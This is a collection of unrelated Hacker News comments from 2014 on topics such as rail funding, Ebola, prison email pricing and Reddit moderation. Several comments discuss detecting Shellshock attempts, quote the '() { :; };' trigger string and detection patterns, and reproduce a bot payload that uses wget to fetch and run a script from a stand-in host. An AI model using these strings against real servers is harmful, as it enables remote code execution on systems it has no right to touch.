skysight-inc/HackerNews huggingface dataset:
Exactly my thoughts. The polarizing subs are probably casual stopper-by register bait. Who leaves the most feedback in satisfaction surveys? The satisfied? No. The enraged and the incredibly pleased.
Ah, I misunderstood then. I agree with you on that point. I assumed you were talking about "Shellshock".
I was hoping that the author would address the issues with plain text and Unicode. He didn't even act like there are portability issues when you want to save in Unicode, but the editor may or may not support it.
I hear you... I've been blessed with multiple recurrences of shingles within six months of one another. I'm one of the lucky recipients of that rarity.
via http://www.filmlinc.com/nyff2014/blog/time-out-of-mind-audio...
What is an Astroturf comment?
The USA may spend more on health care, but how much of that money is wasted on overhead?

Insurance company execs are not likely to be treating Ebola :-)
Airports and Air Traffic systems also cost money. Several tens of billions of dollars were spent on SFO+LAX+SJC+OAK+SAN upgrades in California in the last few decades. If you add up the CapEx, it's on par with the CapEx for high speed rail. Operationally, the FAA budget is $15 billion a year, the TSA is $7 billion per year, so minimally, $22 billion in government subsidy.
The decision makers are civil service types who are basically accountable to nobody. The Deputy Superintendent of Corrections Administration doesn't give a hoot.

Corrections officers have strong unions with ironwood support from their legislators, so it is very difficult to get the executive branch in most states to care about anyth that pisses the unions off.
Exactly. This is precisely the point. It will interpret and execute whatever code is thrown at it. The problem is that the code is NOT DETERMINISTIC (or non-deterministic, whatever). It can be interpreted in a variety of different ways.

This and the fact that 'compiled' code is sometimes altered by applying some money-based side effects gives us some pretty ridiculous results.

Correct me if I'm wrong but there's no easy way to fix this problem.
> CCA (Community Corrections of America) is owned by a group of judges, I believe.

CCA, Corrections Corporation of America, is publicly-traded REIT, as is GEO Group. Anybody here with access to the American public equities markets can purchase shares of stock in CXW or GEO.
For context, the current government in Australia is trying to bring in a minimum doctor visit fee (typically free currently). Their view is people go in too easily for things they should take an aspirin and wait a couple of days for.

I couldnt see any studies for this. The best data I found was a per capita doctor rate where countries with universal health tend (but not absolutly) to have more doctors per capita which 'may' indicate more visits assuming doctors are created by demand (loose I know): http://gamapserver.who.int/gho/interactive_charts/health_wor...
> large slice of the public would actually be supportive of punitive treatment of prisoners' families.

I refuse to believe this.
There is another state: vote-banned, like me; basically you see the up/down arrows in every comment but they do nothing at all (upvoting submissions do works).
Zero pictures. I guess we'll take the author's word on it.
Liber.io – EBooks from Your Google Drive
I'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives?

I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts of URIs containing things from my hostnames to unique IDs.
Maybe. See http://www.uclalawreview.org/?p=5168
Subways make sense because they are short lines within the city. I'm talking about inter-city transportations. We'll soon (well, in 10-20 years maybe) have self driving cars, potentially faster planes (some are in development), maybe better train technologies even (that will probably need new lines - so you need to rebuild everything). And let's not forget that some sources of energies may get cheaper over time and change the transportation landscape as well. I wouldn't bet on "nothing changing" over the next 30-50 years.
This is like describing FedEx as only profitable because of government-provided investment in roads/airports/ATC systems/etc. Which is fine, but you should recognize that it isn't usually the way we account for things.
What about those hole-in-the-wall discount ticket places that always seem to have Shinkansen tickets?

Where do they fit in?
The difference being that an airport can be used for intercontinental travel, not just domestic. Your Shinkansen lines in Japan can only be used where they go. Airports can connect to everywhere in the world (within a certain range at least), it's a much better investment for your buck.
> the Tokaido shinkansen is only profitable in terms of OpEx [...] The CapEx cost, which the government essentially wrote off when they privatized JR [...]

That doesn't seem to actually be true. To quote Alon Levy (from http://pedestrianobservations.wordpress.com/2011/06/06/high-...):

"... there’s a myth going around that the Shinkansen isn’t really profitable because the government wiped its construction debt. While it’s true that the government wiped JNR’s debt, that debt was predominantly operating losses before restructuring; since JNR got few subsidies, it had to keep borrowing to cover its losses. Construction was only one eighth of the debt burden, and that part the JRs did have to pay.[1] In other words, the government really just subsidize JNR’s operating losses from its inefficient pre-restructuring days."

[1] From Wikipedia: JNR's Shinkansen-fueled debt eventually ballooned to ¥28 trillion [...] The privatized JRs eventually paid a total of only ¥9.2 trillion to acquire JNR's Shinkansen network.
I am not saying that this will grow exponentially for ever. For what I know, disease expansion is modeled with a sigmoid curve: exponential at first, then slows down once a saturation level in the population is reached.

According to Wikipedia, the total population of the 3 most affected countries - Liberia, Guinea and Sierra Leone - is roughly 20 millions. So there is at least that upper bound.

The real risk of pandemia comes from the fact that as the number of cases grows, the more likely it is that some of those cases travel through a porous border into other countries which lack the infrastructure and professional discipline to contain new outbreaks. If/when that is the case, each new region will start its own sigmoidal worth.
Excellent article.

Binney, after all these years, finally has the some evidence to support the claims he was making all along.

I remember reading about him and thinking how this is a bit too conspiratorial. Probably a disgruntled[+] employee making stuff up knowing it will never be confirmed or denied. I knew at the time about Constitutional protections and all that, and thought well surely someone up there on top wouldn't allow something this blatant to happen.

It wouldn't be surprising if Snowden studied Binney and learned the lesson of how "all they had to do is come and tell their superiors and there was no need for all the public disclosures" is a bunch of bullshit. Binney did that. Also Binney didn't get any proof or documents with him. Can't help but think Snowden learned from that too.

Wonder what is the lesson to be learned by next Snowden who is probably already planning his actions. Try to stay completely anonymous? Fly directly to Brazil for a warmer weather?

Maybe the ultimate lesson we learned then and now is how little people care. NSA learned that too and I wouldn't be surprised if instead of dialing down the level of these programs they will crank it up. Why wouldn't they? They have clear tested proof that the public doesn't mind that much. No need to play the Constitutional farce any more.

[+] It would seem Binney was a bit disgruntled since his system was re-purposed (stolen) and he was pushed to the side. There was an interview where he talks how after 9/11 NSA was on a lockdown, and he snuck in to work and saw all this hardware everywhere. And eventually found out it was to be used for his re-purposed system. But without him on onboard. It was handed over to contractors.
Also a fair amount of internal stuff - issue trackers, online expense forms, whatever else.
Well, its not like Japan hasn't been spending lots of money on Shinkansen existing lines since they've been built. Actually, they upgrade them constantly. Having the right away from the first line cleared out makes continuous upgrades more feasible, however.
They are not official discounts. They are high volume rebates coming from third parties who buy tons of tickets and then resell them at a little cheaper price.

But you don't save much, really. It's in the order of 5 to 10% most of the time.
Not only in the UX department, but also in their flawed and not very useful personalization system. "We noticed you bought an iPad, here are some more iPads" is not helpful.
And I bet Rocky Mountain Labs is the only such facility to include a log cabin on the grounds ;)

Actually the history of RML is pretty cool. It was founded in a tent in the early 1900s to study Rocky Mountain Spotted fever and early researchers included the founder of the frozen foods industry (Clarence Birdseye).

http://www.niaid.nih.gov/about/organization/dir/rml/pages/hi...

(The BSL 4 is in a modern building that, amongst other measures, maintains a negative air pressure os any leaks are leaks into the building.)
>Don't you see that everyone has views, just like you do, and should be allowed to express them, just as you do?

The problem is where it comes down to implementation.

By not allowing for moderation, all of the content in reddit will gravitate to the same standard you see on the frontpage, just broken up by category, where the only deviation will be in the smaller sub-sections of the community that aren't yet subjected to the rot of the more mainstream communities.

So, for someone like me who desires content beyond the same dozen memes reposted in various forms everyday, there is little content for me to view when only the mob rules. Which means I would have little use for reddit as a whole, aside from the occasional time wasting when I had nothing better to do.

Moderation is what allows for decent content to exist outside of the trivially small sub-reddits. There are plenty of places on reddit to view shallow content (in fact, I would say the vast majority of the content on reddit is of the shallow variety). The existence of more heavily moderated sub-reddits doesn't prevent these places from existing, but it does allow for sub-reddits to deviate from the norm.

So, to summarize, moderation is what allows me to view the type of content on reddit that I would like to see. Remove the moderation and I would have little use for the site.
Naming the competitors is irrelevant. What is relevant is that these states are not procuring contract services with a competitive process.

In other payment related areas where honest procurement happens, there are a number of companies in the market -- for example welfare EBT card systems are managed nationwide by 5-7 different large payment processors.

Sounds to me that JPay found a loophole in contract law that allowed them to burrow into the bureaucracy. Once a vendor digs in as an incumbent, it's hard to dislodge them.
`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change.

Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.
Oh cool, thanks! Exactly what I was looking for!

I'm not sure I like the material design too much (not a slight against your designing) but I think it's more suited to application-style websites and whatnot.

That said, I appreciate the link and only time will tell... it's what I said about flat design as well, and I love flat now :)
The fact is most startups will fail[1]. If I fail and try again and again, statistically I will probably fail eventually. Therefore, most of us will end up working for other companies. Statistically again, there are a lot more employees in well established companies than startups so most of us will likely end up working for well established/large organizations.

So my question is: does the experience, the knowledge I learn from startups helps me on my probably eventual job in an established company? Should I just go work for a large company right away so I can be good at what I will end up doing? It seems to be opposite to what PG said[2].

[1] http://online.wsj.com/news/articles/SB1000087239639044372020...

[2] http://www.paulgraham.com/boss.html
Stop Trying to Change the World
Everyone knows that Jobs didn't start Pixar, and most of the people here are familiar with Steve's involvement, but even his stronger detractors would acknowledge that Pixar would not have accomplished all it had done in Movie Making had it not been for Steve's involvement.
"In the wild" is an understatement; at the current moment the scanning traffic is nearly worm-level (though this is not nearly as wormable as some of the classic worms of olde). Within about an hour of the first public disclosure, bots started scanning for it: some white hat, others not so much. Big websites are seeing scans from bots run by 50 or more different unrelated entities at the moment. It's really easy for just about anyone to hack together a quick script that scans for and exploits this vulnerability.

This is not to fear monger though: for 99.9% of web applications out there, the scans will not find anything vulnerable to Shellshock. Unless you're running a CGI app, you generally won't have to worry from a web app perspective even if you are vulnerable. You may have to worry if you host a Git or SVN repo, or expose a mail daemon, etc.

It's nice of you to inform the admin but unfortunately compromised servers running Plesk have been used to serve malware for many years now. You will find tens of thousands out there on the web, many probably abandoned and forgotten by their owners.
What is "royalty or license?"
Any KNOWN people they did have contact with will be monitored for the next 21 days.

4 days loose is quite a reasonable amount of time to infect others. If they had been using public transport or being in densely populated events e.g. attending a concert/conference it could be quite a lot. I guess we wont know for a couple of weeks. Here's to a functioning health system, a bit of luck.
> (I've omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.)

Can anybody point me to a good explanation of ShellShock's technical details?
Upon researching this, "() {" will always catch this.

If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in "() {" being obfuscated. This may not apply for attacks against things that aren't web apps, though.
This is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism.

It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.
...the tractor developed a leaky transmission. Jakubowski took it to a repair shop, which charged him two thousand dollars. Two days later, the tractor broke down again...

Transmissions can have a variety of problems that render them unusable without repair, but my first response to "it's leaking" would not be "spend $2000". Rather, it would be "spend $40 for another 5 gallons of hy-tran".

I think this guy just wanted to design and build some tractors. Not that there's anything wrong with that!
Submit your OS X Yosemite apps today. GM out
Just got this email:

Make sure your apps take advantage of all the great new features in OS X Yosemite, which will be available to millions of customers around the world later this fall.

Add powerful new functionality throughout OS X Yosemite with app extensions, explore the innovative new Swift programming language, and take advantage of advances in game technologies, Safari, iCloud, and more. To prepare your apps for the Mac App Store, download and build with the OS X Yosemite GM candidate and Xcode 6.1 GM seed from the Mac Dev Center. With these latest releases, Swift is now final and you can submit your Mac apps written with Swift to the Mac App Store.

https://developer.apple.com/osx/whats-new/
Map of Child Population of SF
I'm 185 pounds, and I'm absolutely confident that if I ever placed any of my iPhones in my back jeans pocket and sat on it, it would be destroyed in under a month.

It has a glass screen, that alone should make it obvious that you shouldn't sit on it.
That's assuming there are no technological improvements in transportation in the long, long term. Which is, honestly, in this time and age, ridiculous.

I understand what you're saying and you might be right. But you could just as easily have said the same thing in the 1960s ("we'll have flying cars"), and yet here we are in 2014 and the places that built and maintained mass-transit systems are on average doing better than those that haven't (Richard Florida discusses this in a couple of books; so does Edward Glaeser in The Triumph of the City.)
They also operate the e-mail system that can be used to send e-mail to/from inmates (using a JPay tablet, of course). You have to purchase 'stamps'. For e-mails.[1]

1: http://www.jpayinc.com/email_videograms.html

"One stamp corresponds to one 6000 character message (about the length of one handwritten page), or one attachment."

"JPay’s correctional email service is faster than regular mail, with inmates usually receiving emails within 48 hours." (emphasis added)

Looking up the pricing for a random facility[2], it's $18 for 40 'stamps', each one of which is good for 1 small attachment or 'page' of text. This is fucking extortion.

2: http://www.jpay.com/Facility-Details/Kentucky-Adult-Institut...
I wonder what's going to happen when they find out that the majority of the top users on Reddit are under 18.
Productising a Service Business (Part 2): systemising the sale process
It's the New Yorker. They spell "coordinate" different than the rest of the English-speaking world.
I'm looking forward to touch ID, particularly as I have a 10 digit passcode and a (company enforced) 5 minute timeout on my phone.
Is it really overrated? I've never heard of anyone using emotional intelligence in the real world.

That said, I'm actually surprised that it doesn't negatively correlate with sales performance. When I worked sales, it seemed that those that did the best were those who could leave their compassion and empathy at the door and really push -- it was a lot more Boiler Room than really understanding the customers needs. But maybe that was just an isolated experience.
I've been tailing logs for "()" as I've seen a fair amount of () { :fake; } - () picks up some other lines, but I'd rather see everything rather than 90%

One thing they didn't mention about the base64 of example.comShellShockSalt is that as per use with Spammers finding emails that get reported on anti-spam boards, those initiating the probes can watch for reports and extract the identifier to see who said what. Why they would be interested in this sort of information, I have no clue, but it would be of use.
Cool. I was able to get to level 29.
On the other hand, if someone was wearing this bracelet to keep cool while in a hot area for an extended period of time, isn't it possible that they could feel cool while actually becoming hyperthermic (and possibly dying)? Or the inverse, where they are feeling warm while they are going hypothermic?

Perhaps some sort of safety control that shuts the device off beyond a certain set of conditions would be advisable in a final product.
Yeah, there's outrageous and there's extortion.

Like a $0.10 / kilobyte overage charge on cell phone data plans.
How and does this protect against attacks via the baseband radio processor. That thing is a black box with proprietary firmware that has pretty much unrestricted access to memory (the way I understand it, someone please correct me).

So now it is a bit farcical to say "these are all secure" now. But if you happen to know how the baseband processor works (say you are friends with Qualcomm), you can try to get the encryption password right from the memory.
Why Your Startup Should Focus on Habits
Europe isn't an affected area. No one on my flight from London was checked. It certainly wouldn't be hard to get from Liberia to Europe with no fever, and then board a plane with fever and sweats.
How many people are needed to fork a pocket universe, and how would others decide which fork to follow? It's a subset of the discovery issue.
Wow. That was an amazing article. I have been doing Rails/Ruby for years and never understood any of that. Thanks for putting that together, please consider doing more tutorials for other interesting things going on in ZenPayroll.
My dad bought one of these when I was a wee young-un. One cool thing about them is you could use the arrow keys and the 8 color keys to draw lo-res pictures on the screen. IIRC it had an interesting graphics mode where cells could be either characters or patterns. And because the CRT was directly wired and didn't have to go through a TV modulator it had the most saturated reds you'd see outside of an arcade for awhile.

And that metal behemoth of a keyboard! And loading BASIC programs off the 8-track! Fortunately we upgraded to an Apple ][+ a few years later :)
IIRC a number of the contributors to the downstream projects of Serval were some of the early contributors to freifunk.net.

My understanding is that freifunk was a pretty major testbed for peer-to-peer mesh network protocols in Linux, and it's that heritage that's made it into things like Serval and the Mesh Potato.

Whilst Serval has moved on to its own OSLR variant, its roots are firmly embedded in the B.A.T.M.A.N. protocol.
I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously.

There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.
Interesting take on not starting a startup while in college. I've watched a lot of his lectures and didn't see him state this before. Good point in thinking about the ideas and cultivating them before jumping the gun too early in life.
>That's assuming there are no technological improvements in transportation in the long, long term. Which is, honestly, in this time and age, ridiculous.

That's dumb. Japan has invested in it since the war and has reaped the benefits despite (relatively steady) technological improvements in HSR.

Assuming that there will be sufficient unknown black-swan technological breakthroughs to render it uneconomic is frankly, absurd.